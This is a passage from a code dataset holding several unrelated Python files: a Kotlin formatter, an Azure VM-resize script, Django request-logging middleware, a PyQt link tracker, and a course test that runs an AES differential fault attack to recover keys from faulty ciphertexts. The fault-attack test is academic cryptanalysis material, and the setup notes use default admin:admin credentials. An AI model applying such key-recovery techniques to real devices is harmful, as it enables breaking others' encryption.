splittedByDot[0].strip()\n\t\tdel splittedByDot[0]\n\t\trightmostOpenBrace = first.rfind('(')\n\t\tresults.append(first[:rightmostOpenBrace + 1])\n\t\tif len(splittedByDot) > 0:\n\t\t\tresults.append(self._indentSize * indentation + first[rightmostOpenBrace + 1:].strip() + ',')\n\t\telse:\n\t\t\tresults.append(self._indentSize * indentation + first[rightmostOpenBrace + 1:].strip())\n\t\tfor linePart in splittedByDot:\n\t\t\tresults.append(self._indentSize * indentation + linePart.strip() + ',')\n\t\treturn results\n\n\tdef __splitLongLineByRightmostComma(self, line, indentation):\n\t\tresults = list()\n\t\tsplittedByDot = line.split(',')\n\t\tlast = splittedByDot[-1].strip()\n\t\tdel splittedByDot[-1]\n\t\tfor linePart in splittedByDot:\n\t\t\tresults.append(self._indentSize * indentation + linePart.strip() + ',')\n\t\tresults.append(self._indentSize * indentation + last.strip())\n\t\treturn results\n\n\tdef __longLineWorker(self, line, indentation):\n\t\tresults = list()\n\t\tif len(line) < self._lineMaxLength:\n\t\t\tresults.append((self._indentSize * indentation + line))\n\t\t\treturn results\n\n\t\tif \"class\" in line and \"):\" in line:\n\t\t\tleftPart, rightPart = line.split(\"):\")\n\t\t\tresults.extend(self.__splitLongLineByComma(leftPart, indentation + 1))\n\t\t\trightPart = \") :\" + rightPart\n\t\t\tbraces = re.findall(r'\\([^)]+\\)', rightPart)\n\t\t\tif braces is not None:\n\t\t\t\tfor generics in braces:\n\t\t\t\t\tlast = generics\n\t\t\t\t\tif ',' in generics:\n\t\t\t\t\t\tgenerics = generics.replace(',', '`')\n\t\t\t\t\t\trightPart = rightPart.replace(last, generics)\n\t\t\ttemp = self.__splitLongLineByRightmostComma(rightPart, indentation + 1)\n\t\t\tresults.extend(item.replace('`', ',') for item in temp)\n\n\t\telif \"class\" in line:\n\t\t\tleftPart, rightPart = line.split(\":\")\n\t\t\tleftPart = leftPart + \":\"\n\t\t\tresults.extend(self.__splitLongLineByRightmostComma(leftPart, indentation))\n\t\t\tresults.extend(self.__splitLongLineByRightmostComma(rightPart, indentation + 1))\n\t\telif \"if (\" in line or \"when (\" in line:\n\t\t\ttemp = list()\n\t\t\tsplitOR = line.split(\"||\")\n\t\t\tfor partOR in splitOR:\n\t\t\t\tsplitAND = partOR.split(\"&&\")\n\t\t\t\tfor partAND in splitAND:\n\t\t\t\t\ttemp.append(self._indentSize * (indentation + 1) + partAND.strip() + \" &&\")\n\t\t\t\ttemp[-1] = temp[-1].replace(\"&&\", \"||\")\n\t\t\ttemp[0] = temp[0].strip()\n\t\t\tlast = temp[-1].replace(\"||\", \"\")\n\t\t\trightmostBrace = last.rfind(')')\n\t\t\ttemp[-1] = last[:rightmostBrace]\n\t\t\ttemp.append(last[rightmostBrace:])\n\t\t\tresults.extend(temp)\n\t\telif \" val \" in line and \"=\" in line:\n\t\t\tleftPart, rightPart = line.split('=', 1)\n\t\t\tresults.append(leftPart + '=')\n\t\t\tresults.extend(self.__longLineWorker(rightPart.strip(), indentation + 1))\n\t\telif \".\" in line:\n\t\t\tresults.extend(self.__splitLongLineByDot(line, indentation + 1))\n\t\telif \",\" in line:\n\t\t\tresults.extend(self.__splitLongLineByComma(line, indentation + 1))\n\t\telif \"->\" in line:\n\t\t\tleftPart, rightPart = line.split('->', 1)\n\t\t\tresults.append(leftPart + '->')\n\t\t\tresults.extend(self.__longLineWorker(rightPart.strip(), indentation + 1))\n\t\telse:\n\t\t\tresults.append(line)\n\t\treturn results\n\n\t@staticmethod\n\tdef __spaceCleanWorker(line):\n\t\tline = line.replace(r'=', r' = ')\n\t\tline = line.replace(r'>', r' > ')\n\t\tline = line.replace(r'<', r' < ')\n\t\tline = line.replace(r':', r' : ')\n\t\tline = line.replace(r'+', r' + ')\n\t\tline = line.replace(r'-', r' - ')\n\t\tline = line.replace(r'*', r' * ')\n\t\tline = line.replace(r'[^/]/[^/]', r' / ')\n\t\tline = re.sub(r'\\s+', ' ', line)\n\t\treturn line\n\n\t@staticmethod\n\tdef __keywordsWorker(line):\n\t\twhile re.search(r'^\\sif', line) is not None:\n\t\t\tline = line.replace('if', ' if')\n\t\twhile re.search(r'if\\(', line) is not None:\n\t\t\tline = line.replace('if(', 'if (')\n\n\t\twhile re.search(r'^\\swhile', line) is not None:\n\t\t\tline = line.replace('while', ' while')\n\t\twhile re.search(r'while\\(', line) is not None:\n\t\t\tline = line.replace('while(', 'while (')\n\n\t\twhile re.search(r'^\\swhen', line) is not None:\n\t\t\tline = line.replace('when', ' when')\n\t\twhile re.search(r'when\\(', line) is not None:\n\t\t\tline = line.replace('when(', 'when (')\n\n\t\twhile re.search(r'^\\sfor', line) is not None:\n\t\t\tline = line.replace('for', ' for')\n\t\twhile re.search(r'for\\(', line) is not None:\n\t\t\tline = line.replace('for(', 'for (')\n\t\treturn line\n\n\t@staticmethod\n\tdef __doubleDotWorker(line):\n\t\tresults = re.findall(r'\\([^)]+\\)', line)\n\t\tresults.extend(re.findall(r'val\\s.*:', line))\n\t\tresults.extend(re.findall(r'var\\s.*:', line))\n\t\tif results is not None:\n\t\t\tfor generics in results:\n\t\t\t\tlast = generics\n\t\t\t\tif ':' in generics:\n\t\t\t\t\tgenerics = generics.replace(' :', ':')\n\t\t\t\t\tline = line.replace(last, generics)\n\n\t\treturn line\n\n\t@staticmethod\n\tdef __genericsWorker(line):\n\t\tresults = re.findall(r'<[^>]+>', line)\n\t\tif results is not None:\n\t\t\tfor generics in results:\n\t\t\t\tlast = generics\n\t\t\t\tif '||' not in generics and '&&' not in generics:\n\t\t\t\t\tgenerics = generics.replace('< ', '<')\n\t\t\t\t\tgenerics = generics.replace(' >', '>')\n\t\t\t\t\tline = line.replace(last, generics)\n\t\t\t\t\tline = line.replace(' ' + generics, generics)\n\t\t\t\t\tline = line.replace(generics + ' ', generics)\n\t\treturn line\n\n\t@staticmethod\n\tdef __spaceWorker(line):\n\t\twhile re.search(r'\\s\\)', line) is not None:\n\t\t\tline = line.replace(' )', ')')\n\t\twhile re.search(r'\\(\\s', line) is not None:\n\t\t\tline = line.replace('( ', '(')\n\t\twhile re.search(r'\\s\\]', line) is not None:\n\t\t\tline = line.replace(' ]', ']')\n\t\twhile re.search(r'\\[\\s', line) is not None:\n\t\t\tline = line.replace('[ ', '[')\n\t\tline = line.replace('{', ' {')\n\t\tif r'\\\\ ' not in line:\n\t\t\tline = line.replace(r'\\\\', r'\\\\ ')\n\t\tline = line.replace(r'= =', r'==')\n\t\tline = line.replace(r'! =', r'!=')\n\t\tline = line.replace(r'> =', r'>=')\n\t\tline = line.replace(r'< =', r'<=')\n\t\tline = line.replace(r'? .', r'?.')\n\t\tline = line.replace(r'>:', r'> :')\n\t\tline = line.replace(r') :', r'):')\n\t\tline = line.replace(r': :', r'::')\n\t\tline = line.replace(r'object:', r'object :')\n\t\tline = line.replace(r'- >', r'->')\n\t\tline = line.replace(r' ?', r'?')\n\t\tline = line.replace(r'. ', r'.')\n\t\tline = line.replace(r' .', r'.')\n\t\treturn line\n\n\tdef __openBlockWorker(self, line):\n\t\tsplittedLines = line.split('{')\n\t\tlast = splittedLines[-1].rstrip()\n\t\tdel splittedLines[-1]\n\t\tfor splittedLine in splittedLines:\n\t\t\tself.__leftBraceLines.append(splittedLine.strip() + \" {\")\n\t\tself.__leftBraceLines.append(last)\n\n\tdef __closeBlockWorker(self, line):\n\t\tsplittedLines = line.split('}')\n\t\tfirst = splittedLines[0]\n\t\tdel splittedLines[0]\n\t\tif first != \"\":\n\t\t\tself.__rightBraceLines.append(first)\n\t\tfor splittedLine in splittedLines:\n\t\t\tself.__rightBraceLines.append('}' + splittedLine)\n\n\tdef __intendWorker(self, lines):\n\t\tindentation = 0\n\t\tresults = list()\n\t\tcomment = False\n\t\tfor line in lines:\n\n\t\t\tif r'*/' in line:\n\t\t\t\tcomment = False\n\t\t\t\tresults.append(line.rstrip('\\n'))\n\t\t\t\tcontinue\n\t\t\tif r'/*' in line or comment:\n\t\t\t\tcomment = True\n\t\t\t\tresults.append(line.rstrip('\\n'))\n\t\t\t\tcontinue\n\n\t\t\tif '}' in line:\n\t\t\t\tindentation -= 1\n\n\t\t\tif len(line) > self._lineMaxLength:\n\t\t\t\tresults.extend(self.__longLineWorker(line, indentation))\n\t\t\telse:\n\t\t\t\tresults.append(indentation * self._indentSize + line.strip())\n\n\t\t\tif '{' in line:\n\t\t\t\tindentation += 1\n\n\t\treturn results\n\n\tdef formatFile(self, inputFileLines, indent=4, lineMaxLength=80, preAnalyze=False):\n\t\tresults = list()\n\t\tself._indentSize = \" \" * indent\n\t\tself._lineMaxLength = lineMaxLength\n\t\tif preAnalyze:\n\t\t\tif not self.preAnalyzer(inputFileLines):\n\t\t\t\traise BracketsError(\"Something wrong with brackets in input file\")\n\n\t\tcomment = False\n\n\t\tfor line in inputFileLines:\n\t\t\tif line == '\\n':\n\t\t\t\tresults.append(line)\n\t\t\t\tcontinue\n\t\t\tif r'*/' in line:\n\t\t\t\tcomment = False\n\t\t\t\tresults.append(line)\n\t\t\t\tcontinue\n\t\t\tif r'/*' in line or comment:\n\t\t\t\tcomment = True\n\t\t\t\tresults.append(line)\n\t\t\t\tcontinue\n\n\t\t\tself.__leftBraceLines.clear()\n\t\t\tself.__rightBraceLines.clear()\n\t\t\tline = self.__spaceCleanWorker(line)\n\t\t\tline = self.__keywordsWorker(line)\n\t\t\tline = self.__doubleDotWorker(line)\n\t\t\tline = self.__genericsWorker(line)\n\t\t\tline = self.__spaceWorker(line)\n\t\t\tself.__openBlockWorker(line)\n\t\t\tfor blockOpennings in self.__leftBraceLines:\n\t\t\t\tself.__closeBlockWorker(blockOpennings)\n\t\t\tresults.extend(self.__rightBraceLines)\n\t\tresults = self.__intendWorker(results)\n\t\treturn results\n\n\t@staticmethod\n\tdef preAnalyzer(inputLines):\n\t\tcurrentBrackets = []\n\t\topenningBrackets = [\"[\", \"{\", \"(\"]\n\t\tclosingBrackets = [\"]\", \"}\", \")\"]\n\t\tlast = list()\n\t\tresult = True\n\t\tfor i, line in enumerate(inputLines):\n\t\t\tfor j, letter in enumerate(line):\n\t\t\t\tif letter in openningBrackets:\n\t\t\t\t\tlast.clear()\n\t\t\t\t\tcurrentBrackets.append(letter)\n\t\t\t\t\tlast.append(i)\n\t\t\t\t\tlast.append(j)\n\t\t\t\telif letter in closingBrackets:\n\t\t\t\t\tpos = closingBrackets.index(letter)\n\t\t\t\t\tif ((len(currentBrackets) > 0) and (\n\t\t\t\t\t\t\topenningBrackets[pos] == currentBrackets[-1])):\n\t\t\t\t\t\tcurrentBrackets.pop()\n\t\t\t\t\telse:\n\t\t\t\t\t\tprint(\"Error in line {}, {}; Wrong bracket\".format(i, j))\n\t\t\t\t\t\tprint(line.rstrip())\n\t\t\t\t\t\tprint(\"~\" * j + '^')\n\t\t\t\t\t\tresult = False\n\t\tif len(currentBrackets) > 0:\n\t\t\tprint(\"Error in line {}, {}; No closing bracket\".format(last[0] + 1, last[1] + 1))\n\t\t\tprint(inputLines[last[0]].rstrip())\n\t\t\tprint(\"~\" * (last[1]) + '^')\n\t\t\tresult = False\n\t\treturn result\n\n\n# import os.path\n\nINDENT = 4\nLINE_LENGTH = 80\n\nif __name__ == '__main__':\n\tparser = argparse.ArgumentParser(prog='KotlinPyFormatter', description='Format .')\n\tparser.add_argument(\"path\", help=\"Path to Kotlin file\")\n\tparser.add_argument(\"--output\", help=\"output path\")\n\tparser.add_argument(\"-i\", \"--indent\", help=\"Set indent(default=4)\", default=4, choices=(2, 4))\n\tparser.add_argument(\"-l\", \"--line\", help=\"Set max line length(default=80)\", default=80, choices=(60, 80, 100, 120))\n\targs = parser.parse_args()\n\n\tabspath = os.path.abspath(os.path.expanduser(os.path.expandvars(args.path)))\n\n\tabsoutput = args.output\n\tif absoutput is not None:\n\t\tabsoutput = os.path.abspath(os.path.expanduser(os.path.expandvars(absoutput)))\n\n\twith open(abspath, \"r\") as file:\n\t\tfileContent = file.readlines()\n\n\tresult = KotlinPyFormatter().formatFile(fileContent, INDENT, LINE_LENGTH, False)\n\tresult = '\\n'.join(result)\n\n\twith open('result.txt', \"w\") as file:\n\t\tfile.write(result)\n","sub_path":"KotlinPyFormatter/kotlinPyFormatter.py","file_name":"kotlinPyFormatter.py","file_ext":"py","file_size_in_byte":10878,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"256336756","text":"##!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport argparse\n\nfrom joblib import Parallel, delayed\n\nimport utils\nfrom utils import RG_TEMPLATE, resize_VM\n\n\"\"\"\nREADME:\n1. Stop All in Ambari\n2. Run this script\n3. Change Ambari settings\n\ncurl 'http://localhost:8080/api/v1/clusters/Cluster/config_groups/2' -u admin:admin -H \"X-Requested-By: ambari\" -i -X PUT --data '{\"ConfigGroup\":{\"group_name\":\"MasterNode\",\"description\":\"\",\"tag\":\"YARN\",\"hosts\":[],\"desired_configs\":[]}}' --compressed\n/var/lib/ambari-server/resources/scripts/configs.sh set localhost Cluster yarn-site yarn.nodemanager.resource.cpu-vcores 16\n/var/lib/ambari-server/resources/scripts/configs.sh set localhost Cluster yarn-site yarn.scheduler.maximum-allocation-vcores 16\n/var/lib/ambari-server/resources/scripts/configs.sh set localhost Cluster yarn-site yarn.nodemanager.resource.memory-mb 98304\n/var/lib/ambari-server/resources/scripts/configs.sh set localhost Cluster yarn-site yarn.scheduler.maximum-allocation-mb 98304\n\n4. Start All in Ambari\n5. Change SparkContext settings\n\nMore workers:\n sc = get_spark_context(executorsPerNode=16, memoryPerExecutor=6144)\nMore memory per worker:\n sc = get_spark_context(executorsPerNode=8, memoryPerExecutor=12288)\nEven more memory per worker (huge ALS workload maybe):\n sc = get_spark_context(executorsPerNode=4, memoryPerExecutor=24576)\n\n\"\"\"\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--user\", action=\"store\", help=\"account name, for example student1\", required=True)\nargs = parser.parse_args()\n\nstudent_name = args.user\nrg_name = utils.get_student_resource_group(student_name)\nnew_size = \"Standard_DS14_v2_Promo\" # Standard DS14 v2 Promo (16 cores, 112 GB memory)\n\nParallel(n_jobs=3, backend=\"threading\")(\n delayed(resize_VM)(\"cluster{0}\".format(idx), rg_name, new_size) for idx in [1, 2, 3]\n)\n\nprint(\"cluster1 public IP: {}\".format(utils.get_public_ip(\"ip_cluster1\", rg_name)))\n","sub_path":"azure/upgrade_cluster.py","file_name":"upgrade_cluster.py","file_ext":"py","file_size_in_byte":1920,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"625196729","text":"\"\"\"\nThe module that contains middleware that stores all http requests\ninto database\n\"\"\"\nimport logging\nimport json\n\nfrom apps.personal_info.models import WebRequest\n\nLOGGER = logging.getLogger('personal_info.info')\n\n\nclass RequestLogMiddleware(object):\n \"\"\" The middleware that stores all http requests to database \"\"\"\n @classmethod\n def process_request(cls, request):\n \"\"\"\n The middleware overridden method, which is called before\n calling view function\n :param cls: the class instance\n :param request: the request that comes in\n :return: None\n \"\"\"\n if not request.path.endswith('favicon.ico'):\n # I definitely don't want to spam the db with AJAX update\n # requests\n if request.path == '/requests/' and request.is_ajax():\n LOGGER.info(\"Request object ignored by middleware\")\n return None\n else:\n WebRequest(\n path=request.path,\n remote_address=request.META.get('REMOTE_ADDR', ''),\n get=json.dumps(request.GET),\n post=json.dumps(request.POST),\n method=request.method\n ).save()\n LOGGER.info(\"Request object stored by middleware\")\n","sub_path":"apps/personal_info/middleware.py","file_name":"middleware.py","file_ext":"py","file_size_in_byte":1309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"218976713","text":"\n\n#calss header\nclass _FIDDLE():\n\tdef __init__(self,): \n\t\tself.name = \"FIDDLE\"\n\t\tself.definitions = [u'to act dishonestly in order to get something for yourself, or to change something dishonestly, especially to your advantage: ', u'to move things about or touch things with no particular purpose: ', u'to play the violin']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'verbs'\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/verbs/_fiddle.py","file_name":"_fiddle.py","file_ext":"py","file_size_in_byte":497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"601729209","text":"import aesdfa as aes\n\nciphertext1 = bytearray.fromhex(\"cd d5 ef 50 be a8 3f 50 c1 bd 42 83 58 e3 f4 c2\")\nfaultytext1 = bytearray.fromhex(\"cd d5 ef 9c be a8 2c 50 c1 30 42 83 c8 e3 f4 c2\")\n\nciphertext2 = bytearray.fromhex(\"23 9a eb 5f e7 68 e6 5a de ff 71 32 be e2 8f 3e\")\nfaultytext2 = bytearray.fromhex(\"23 9a eb 26 e7 68 9d 5a de e3 71 32 48 e2 8f 3e\")\n\n\ndef test_AES_DFA():\n\tcandidate_keys1 = aes.AESFaultAttack(ciphertext1,faultytext1)\n\tcandidate_keys2 = aes.AESFaultAttack(ciphertext2,faultytext2)\n\taes.determine_key(candidate_keys1,candidate_keys2)\n\nif __name__==\"__main__\":\n\ttest_AES_DFA()\n","sub_path":"ECE 579/hw4/test_aesdfa.py","file_name":"test_aesdfa.py","file_ext":"py","file_size_in_byte":597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"240694791","text":"import os\nimport random\nimport datetime\nfrom PyQt5 import QtCore, QtGui, QtWidgets, uic\n\nfrom webpage_database_api import WebPages\nfrom file_database_api import Files\nfrom gui_select import Select\n\n__author__ = 'KPGM'\nform_frame = uic.loadUiType('frame.ui')[0]\n\nclass Frame(QtWidgets.QWidget, form_frame):\n def __init__(self, filename, delay, parent=None):\n self.filename = filename\n self.delay = delay\n self.data = WebPages(filename)\n self.current = ''\n self.items = {} # dictionary between Webpage names and QTableWidgetItems\n\n QtWidgets.QWidget.__init__(self, parent)\n self.setupUi(self)\n\n self.connect_components()\n self.initialize_shortcuts()\n self.initialize_components()\n\n def connect_components(self):\n self.btn_OpenLinks.clicked.connect(self.btn_open_links_clicked)\n self.btn_AddUpdate.clicked.connect(self.btn_add_update_clicked)\n self.btn_Remove.clicked.connect(self.btn_remove_clicked)\n self.btn_Copy_All.clicked.connect(self.btn_copy_all_clicked)\n self.btn_Copy_Name.clicked.connect(self.btn_copy_name_clicked)\n self.btn_Copy_Link.clicked.connect(self.btn_copy_link_clicked)\n self.btn_Copy_Last.clicked.connect(self.btn_copy_last_clicked)\n\n self.tbv_LinkView.cellClicked.connect(self.cell_clicked)\n self.tbv_LinkView.cellChanged.connect(self.cell_changed)\n self.tbv_LinkView.itemSelectionChanged.connect(self.selection_changed)\n self.tbv_LinkView.setSelectionMode(QtWidgets.QAbstractItemView.SingleSelection)\n\n self.lin_In_Delay.textChanged.connect(self.delay_changed)\n\n def initialize_shortcuts(self):\n QtWidgets.QShortcut(QtGui.QKeySequence(QtCore.Qt.CTRL + QtCore.Qt.Key_R), self, self.display_links)\n QtWidgets.QShortcut(QtGui.QKeySequence(QtCore.Qt.CTRL + QtCore.Qt.Key_C), self, self.btn_copy_link_clicked)\n QtWidgets.QShortcut(QtGui.QKeySequence(QtCore.Qt.CTRL + QtCore.Qt.Key_S), self, self.btn_add_update_clicked)\n QtWidgets.QShortcut(QtGui.QKeySequence(QtCore.Qt.CTRL + QtCore.Qt.SHIFT + QtCore.Qt.Key_C),\n self, self.clear)\n QtWidgets.QShortcut(QtGui.QKeySequence(QtCore.Qt.CTRL + QtCore.Qt.SHIFT + QtCore.Qt.Key_R),\n self, self.btn_remove_clicked)\n QtWidgets.QShortcut(QtGui.QKeySequence(QtCore.Qt.CTRL + QtCore.Qt.Key_F), self, self.find_item)\n QtWidgets.QShortcut(QtGui.QKeySequence(QtCore.Qt.CTRL + QtCore.Qt.Key_A), self, self.increment_chapter)\n\n def initialize_components(self):\n self.lin_FileLocation.setText(self.filename)\n self.lin_In_Delay.blockSignals(True)\n self.lin_In_Delay.setText(str(self.delay))\n self.lin_In_Delay.blockSignals(False)\n self.display_links()\n\n def resize_table(self):\n self.tbv_LinkView.horizontalHeader().setSectionResizeMode(QtWidgets.QHeaderView.Stretch)\n\n size = 0\n for i in range(5):\n size += self.tbv_LinkView.horizontalHeader().sectionSize(i)\n\n self.tbv_LinkView.horizontalHeader().setSectionResizeMode(QtWidgets.QHeaderView.Fixed)\n\n self.tbv_LinkView.horizontalHeader().resizeSection(0, int(size * .4))\n self.tbv_LinkView.horizontalHeader().resizeSection(1, int(size * .3))\n self.tbv_LinkView.horizontalHeader().resizeSection(2, int(size * .1))\n self.tbv_LinkView.horizontalHeader().resizeSection(3, int(size * .1))\n self.tbv_LinkView.horizontalHeader().resizeSection(4, int(size * .1))\n\n self.tbv_LinkView.resizeRowsToContents()\n\n def display_links(self):\n self.tbv_LinkView.blockSignals(True)\n self.data.read()\n\n headers = ['Name', 'Link', 'Vol', 'Chap', 'Date']\n names = sorted(self.data.grab_names())\n\n current_rows = self.tbv_LinkView.rowCount()\n needed_rows = len(names)\n if current_rows != needed_rows:\n if current_rows < needed_rows:\n for i in range(needed_rows - current_rows):\n if self.tbv_LinkView.rowCount() == 0:\n self.tbv_LinkView.insertRow(self.tbv_LinkView.rowCount())\n else:\n self.tbv_LinkView.insertRow(self.tbv_LinkView.rowCount() - 1)\n else:\n for i in range(current_rows - needed_rows):\n self.tbv_LinkView.removeRow(0)\n\n for row, name in enumerate(names):\n data = self.data.get_data(name)\n self.items[name] = QtWidgets.QTableWidgetItem(name)\n new_items = [self.items[name],\n QtWidgets.QTableWidgetItem(str(data['Link'])),\n QtWidgets.QTableWidgetItem(str(data['Vol'])),\n QtWidgets.QTableWidgetItem(str(data['Chap'])),\n QtWidgets.QTableWidgetItem(str(data['Date']))]\n for col in range(len(new_items)):\n self.tbv_LinkView.setItem(row, col, new_items[col])\n\n self.tbv_LinkView.setHorizontalHeaderLabels(headers)\n self.resize_table()\n self.tbv_LinkView.blockSignals(False)\n\n def set_lin_edit(self, input_dict):\n if input_dict['Type'] == 'In':\n self.lin_In_Name.setText(input_dict['Name'])\n self.lin_In_Link.setText(input_dict['Link'])\n self.lin_In_Last_Vol.setText(input_dict['Vol'])\n self.lin_In_Last_Chap.setText(input_dict['Chap'])\n elif input_dict['Type'] == 'Out':\n self.lin_Out_Name.setText(input_dict['Name'])\n self.lin_Out_Link.setText(input_dict['Link'])\n self.lin_Out_Last_Vol.setText(input_dict['Vol'])\n self.lin_Out_Last_Chap.setText(input_dict['Chap'])\n elif input_dict['Type'] == 'Both':\n self.lin_In_Name.setText(input_dict['Name'])\n self.lin_In_Link.setText(input_dict['Link'])\n self.lin_In_Last_Vol.setText(input_dict['Vol'])\n self.lin_In_Last_Chap.setText(input_dict['Chap'])\n self.lin_Out_Name.setText(input_dict['Name'])\n self.lin_Out_Link.setText(input_dict['Link'])\n self.lin_Out_Last_Vol.setText(input_dict['Vol'])\n self.lin_Out_Last_Chap.setText(input_dict['Chap'])\n\n def clear(self):\n self.set_lin_edit({'Type': 'In', 'Name': '', 'Link': '', 'Vol': '', 'Chap': ''})\n self.tbv_LinkView.clearSelection()\n\n def find_item(self):\n self.tbv_LinkView.clearSelection()\n name, ok = Select.select_choice(self.data.grab_names(), True, self)\n if ok and name:\n search = self.data.get_name(name)\n if len(search) == 1:\n name = search[0]\n item = self.items[name]\n self.tbv_LinkView.scrollToItem(item, 3)\n self.tbv_LinkView.setItemSelected(item, True)\n elif len(search) > 1:\n name, ok = Select.select_choice(search, False, self)\n if ok or name:\n item = self.items[name]\n self.tbv_LinkView.scrollToItem(item, 3)\n self.tbv_LinkView.setItemSelected(item, True)\n self.tbv_LinkView.setFocus()\n\n def increment_chapter(self):\n if self.lin_In_Last_Chap.text():\n self.lin_In_Last_Chap.setText(str(int(self.lin_In_Last_Chap.text().strip()) + 1))\n self.btn_add_update_clicked()\n\n\n def btn_open_links_clicked(self):\n \"\"\"\n Opens all the links in the file\n :return:\n \"\"\"\n self.data.open_links(float(self.lin_In_Delay.text()))\n self.display_links()\n\n def btn_add_update_clicked(self):\n name = str(self.lin_In_Name.text()).strip()\n link = str(self.lin_In_Link.text()).strip()\n vol = str(self.lin_In_Last_Vol.text()).strip()\n chap = str(self.lin_In_Last_Chap.text()).strip()\n now = datetime.datetime.now()\n new_data = {'Link': link,\n 'Vol': vol,\n 'Chap': chap,\n 'Date': str(now.month) + '/' + str(now.day) + '/' + str(now.year)\n }\n\n if not name: # no name exists\n name = '_Update Name' + str(hash(random.random()))\n if not link: # no link exists\n new_data['Link'] = '_Update Link' + str(hash(random.random()))\n\n name_search = self.data.get_name(name) # Search for name with a name or link\n link_search = self.data.get_name(None, link)\n\n if len(name_search) > 0: # Name found\n if len(name_search) > 1:\n name, ok = Select.select_choice(name_search, False, self)\n if ok or name:\n data = self.data.get_data(name)\n self.set_lin_edit({'Type': 'Both', 'Name': name,\n 'Link': data['Link'],\n 'Vol': data['Vol'],\n 'Chap': data['Chap']})\n else:\n name = name_search[0]\n self.set_lin_edit({'Type': 'Both', 'Name': name, 'Link': link, 'Vol': vol, 'Chap': chap})\n if len(link_search) > 0: # Link is found in database\n if name != link_search[0]: # There is a link with a different name\n return\n self.data.add_update(name, None, None, new_data)\n else: # Name not found\n if len(link_search) > 0: # Link found\n old_name = link_search[0]\n self.set_lin_edit({'Type': 'Both', 'Name': name, 'Link': link, 'Vol': vol, 'Chap': chap})\n self.data.add_update(old_name, None, name, new_data)\n else: # Completley new\n self.set_lin_edit({'Type': 'Both', 'Name': name, 'Link': link, 'Vol': vol, 'Chap': chap})\n self.data.add_update(name, None, None, new_data)\n\n self.display_links()\n\n def btn_remove_clicked(self):\n \"\"\"\n Remove the item specified\n :return:\n \"\"\"\n name = str(self.lin_In_Name.text()).strip()\n link = str(self.lin_In_Link.text()).strip()\n\n name_search = self.data.get_name(name) # Search for name with a name or link\n link_search = self.data.get_name(None, link)\n\n if len(name_search) > 0: # Name found\n ok = False\n if len(name_search) > 1:\n name, ok = Select.select_choice(name_search, False, self)\n else:\n name = name_search[0]\n if ok or name:\n data = self.data.get_data(name)\n self.set_lin_edit({'Type': 'Both', 'Name': name,\n 'Link': data['Link'],\n 'Vol': data['Vol'],\n 'Chap': data['Chap']})\n self.data.remove(name, None, data)\n else: # Name not found\n if len(link_search) > 0: # Link found\n name = link_search[0]\n data = self.data.get_data(name)\n self.set_lin_edit({'Type': 'Both', 'Name': name,\n 'Link': data['Link'],\n 'Vol': data['Vol'],\n 'Chap': data['Chap']})\n self.data.remove(name, None, data)\n\n self.display_links()\n\n def btn_copy_all_clicked(self):\n name = self.lin_Out_Name.text()\n link = self.lin_Out_Link.text()\n vol = 'v' + self.lin_Out_Last_Vol.text()\n chap = 'c' + self.lin_Out_Last_Chap.text()\n\n full = '\\\"{0}\\\"'.format('\", \"'.join([name, link, vol, chap]))\n self.lin_Out_Name.setText(full)\n self.btn_Copy_Name_clicked()\n self.lin_Out_Name.setText(name)\n\n def btn_copy_name_clicked(self):\n self.lin_Out_Name.selectAll()\n self.lin_Out_Name.copy()\n self.lin_Out_Name.deselect()\n\n def btn_copy_link_clicked(self):\n self.lin_Out_Link.selectAll()\n self.lin_Out_Link.copy()\n self.lin_Out_Link.deselect()\n\n def btn_copy_last_clicked(self):\n name = self.lin_Out_Name.text()\n vol = self.lin_Out_Last_Vol.text()\n chap = self.lin_Out_Last_Chap.text()\n\n full = 'v' + vol + ' c' + chap\n self.lin_Out_Name.setText(full)\n self.btn_Copy_Name_clicked()\n self.lin_Out_Name.setText(name)\n\n def cell_clicked(self, row, column):\n name = self.tbv_LinkView.item(row, 0)\n link = self.tbv_LinkView.item(row, 1)\n vol = self.tbv_LinkView.item(row, 2)\n chap = self.tbv_LinkView.item(row, 3)\n\n self.set_lin_edit({'Type': 'Both',\n 'Name': name.text(),\n 'Link': link.text(),\n 'Vol': vol.text(),\n 'Chap': chap.text()})\n\n self.current = str(self.tbv_LinkView.item(row, column).text())\n\n def cell_changed(self, row, column):\n name, link, vol, chap = [str(self.tbv_LinkView.item(row, 0).text()),\n str(self.tbv_LinkView.item(row, 1).text()),\n str(self.tbv_LinkView.item(row, 2).text()),\n str(self.tbv_LinkView.item(row, 3).text())]\n\n now = datetime.datetime.now()\n date = str(now.month) + '/' + str(now.day) + '/' + str(now.year)\n if column == 0: # Name [self.current contains the previous name]\n self.data.add_update(self.current, None, name, {'Link': link, 'Vol': vol, 'Chap': chap, 'Date': date})\n elif column == 1: # Link [self.current contains the previous link]\n self.data.add_update(name, self.current , None, {'Link': link, 'Vol': vol, 'Chap': chap, 'Date': date})\n elif column == 2 or column == 3: # Vol or Chapter [self.current contains the previous volume or chapter #]\n self.data.add_update(name, link, None, {'Link': link, 'Vol': vol, 'Chap': chap, 'Date': date})\n\n self.set_lin_edit({'Type': 'Both', 'Name': name, 'Link': link, 'Vol': vol, 'Chap': chap})\n self.display_links()\n\n def selection_changed(self):\n for index in self.tbv_LinkView.selectedIndexes():\n row = index.row()\n name = self.tbv_LinkView.item(row, 0).text()\n data = self.data.get_data(name)\n self.set_lin_edit({'Type': 'Both', 'Name': name,\n 'Link': data['Link'],\n 'Vol': data['Vol'],\n 'Chap': data['Chap']})\n self.current = str(self.tbv_LinkView.item(row, index.column()).text())\n\n def delay_changed(self, delay):\n last_session = Files('last_open.json')\n last_session.add_update(os.path.basename(self.filename), self.filename, 